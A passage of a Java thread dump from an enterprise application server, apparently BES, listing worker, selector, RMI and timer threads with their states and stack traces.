at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"Spark-Selector" #79 [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118)
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129)
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141)
at com.bes.ejb.spark.tcp.transport.SelectorThread.c(SelectorThread.java:289)
at com.bes.ejb.spark.tcp.transport.SelectorThread.startEndpoint(SelectorThread.java:206)
at com.bes.ejb.spark.tcp.transport.AcceptorThread.run(AcceptorThread.java:508)
"AsyncLoggerDisruptor-1" #18 daemon [TIMED_WAITING] on java.lang.Object@71ac2346
java.lang.Thread.State: TIMED_WAITING
at [email protected]/java.lang.Object.wait(Native Method)
at [email protected]/java.lang.Object.wait(Object.java:472)
at app//com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:132)
at app//com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:37)
at app//com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:50)
at app//com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:137)
at app//com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:113)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"jmsra-WorkerThread-4" #51 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66781f39
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"AppServer-utility-1" #54 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5cd859a
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"HSQLDB Timer @24f4bc74" #76 daemon [TIMED_WAITING] on org.hsqldb.lib.HsqlTimer$TaskQueue@48b0ec41
java.lang.Thread.State: TIMED_WAITING
at [email protected]/java.lang.Object.wait(Native Method)
at org.hsqldb.lib.HsqlTimer$TaskQueue.park(Unknown Source)
at org.hsqldb.lib.HsqlTimer.nextTask(Unknown Source)
at org.hsqldb.lib.HsqlTimer$TaskRunner.run(Unknown Source)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"httpWorkerThread-8080-4" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"httpWorkerThread-8080-8" #67 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"httpWorkerThread-1900-1" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e311b2e
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"FlushManager" #46 daemon [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
at [email protected]/java.lang.Thread.sleep(Native Method)
at com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager.run(LogBufferManager.java:1230)
"RMI GC Daemon" #90 daemon [TIMED_WAITING] on sun.rmi.transport.GC$LatencyLock@1739a027
java.lang.Thread.State: TIMED_WAITING
at [email protected]/java.lang.Object.wait(Native Method)
at [email protected]/sun.rmi.transport.GC$Daemon.run(GC.java:127)
at [email protected]/java.lang.Thread.run(Thread.java:840)
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162)
"Stateful cache" #52 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@58a48465
java.lang.Thread.State: TIMED_WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"Connection-Pool-Create-1797369452" #75 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@bfdfea3
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at com.bes.enterprise.gjc.pool.impl.GenericObjectPool$CreateConnectionThread.run(GenericObjectPool.java:1628)
"RMI Reaper" #89 [WAITING] on java.lang.ref.ReferenceQueue$Lock@7de36c99
java.lang.Thread.State: WAITING
at [email protected]/java.lang.Object.wait(Native Method)
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176)
at [email protected]/sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:352)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"httpWorkerThread-8080-1" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"SelectorReaderThread-8080-1" #70 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118)
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129)
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141)
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:873)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"Spark_7" #87 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44
java.lang.Thread.State: TIMED_WAITING
at [email protected]/java.lang.Object.wait(Native Method)
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
"AppServer-utility-2" #58 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5cd859a
java.lang.Thread.State: TIMED_WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"jmsra-WorkerThread-2" #49 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66781f39
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"Spark_0" #80 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44
java.lang.Thread.State: TIMED_WAITING
at [email protected]/java.lang.Object.wait(Native Method)
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
"RetryTimer" #47 daemon [WAITING] on java.util.TaskQueue@2781c39a
java.lang.Thread.State: WAITING
at [email protected]/java.lang.Object.wait(Native Method)
at [email protected]/java.lang.Object.wait(Object.java:338)
at [email protected]/java.util.TimerThread.mainLoop(Timer.java:537)
at [email protected]/java.util.TimerThread.run(Timer.java:516)
"httpWorkerThread-8080-3" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"httpWorkerThread-8080-6" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"httpWorkerThread-1900-3" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e311b2e
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"http-nio-0.0.0.0-8080-Acceptor" #71 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/sun.nio.ch.Net.accept(Native Method)
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425)
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391)
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:604)
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:85)
at com.bes.enterprise.web.util.net.Acceptor.run(Acceptor.java:125)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"Spark_4" #84 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44
java.lang.Thread.State: TIMED_WAITING
at [email protected]/java.lang.Object.wait(Native Method)
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
"httpWorkerThread-8080-2" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"RMI TCP Accept-6600" #88 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/sun.nio.ch.Net.accept(Native Method)
at [email protected]/sun.nio.ch.NioSocketImpl.accept(NioSocketImpl.java:760)
at [email protected]/java.net.ServerSocket.implAccept(ServerSocket.java:675)
at [email protected]/java.net.ServerSocket.platformImplAccept(ServerSocket.java:641)
at [email protected]/java.net.ServerSocket.implAccept(ServerSocket.java:617)
at [email protected]/java.net.ServerSocket.implAccept(ServerSocket.java:574)
at [email protected]/java.net.ServerSocket.accept(ServerSocket.java:532)
at [email protected]/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:413)
at [email protected]/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"PoolIdleReleaseTimer" #96 daemon [TIMED_WAITING] on java.util.TaskQueue@5bfaeca3
java.lang.Thread.State: TIMED_WAITING
at [email protected]/java.lang.Object.wait(Native Method)
at [email protected]/java.util.TimerThread.mainLoop(Timer.java:563)
at [email protected]/java.util.TimerThread.run(Timer.java:516)
"Notification Thread" #15 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Common Lib Watcher" #19 daemon [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
at [email protected]/java.lang.Thread.sleep(Native Method)
at app//com.bes.enterprise.appserver.startup.CommonClassLoader$1.run(CommonClassLoader.java:90)
"Spark_1" #81 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44
java.lang.Thread.State: TIMED_WAITING
at [email protected]/java.lang.Object.wait(Native Method)
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
"RMI RenewClean-[192.168.215.5:6600]" #93 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@3f961999
java.lang.Thread.State: TIMED_WAITING
at [email protected]/java.lang.Object.wait(Native Method)
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
at [email protected]/sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:559)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"LogFileManager.EventManager" #45 daemon [WAITING] on java.lang.Object@59772d56
java.lang.Thread.State: WAITING
at [email protected]/java.lang.Object.wait(Native Method)
at [email protected]/java.lang.Object.wait(Object.java:338)
at com.bes.org.objectweb.howl.log.LogFileManager$EventManager.run(LogFileManager.java:1236)
"http-nio-0.0.0.0-1900-Acceptor" #69 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/sun.nio.ch.Net.accept(Native Method)
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425)
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391)
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:604)
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:85)
at com.bes.enterprise.web.util.net.Acceptor.run(Acceptor.java:125)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"Common-Cleaner" #14 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@70c3b8f1
java.lang.Thread.State: TIMED_WAITING
at [email protected]/java.lang.Object.wait(Native Method)
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
at [email protected]/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140)
at [email protected]/java.lang.Thread.run(Thread.java:840)
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162)
"SelectorReaderThread-1900-1" #68 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118)
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129)
